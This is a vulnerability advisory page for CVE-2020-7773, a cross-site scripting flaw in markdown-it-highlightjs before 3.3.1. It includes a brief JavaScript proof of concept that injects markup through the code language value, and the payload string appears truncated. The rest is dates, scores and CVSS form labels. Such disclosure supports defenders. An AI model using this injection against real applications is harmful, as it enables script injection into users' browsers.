CVE-2020-7773
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);
Published:Nov 16, 2020
Last Modified:Nov 21, 2024
EPS:Nov 16, 2020
EPSS Score:0.00367
CVSS Score:6.5
Affected Products
Vendor
Product
Action
Vendor
Markdown-it-highlightjs Project
Product
Markdown-it-highlightjs
Markdown-it-highlightjs Project
Markdown-it-highlightjs
Exploits
Common Weakness Enumeration
Common Attack Pattern Enumeration and Classification (CAPEC)
References
Common Vulnerability Scoring System
Attack Vector
Network
Adjacent
Local
Physical
Privileges Required
None
Low
High
User Interaction
None
Required
Scope
Unchanged
Changed
Confidentiality
None
Low
High
Integrity
None
Low
High
Availability
None
Low
High
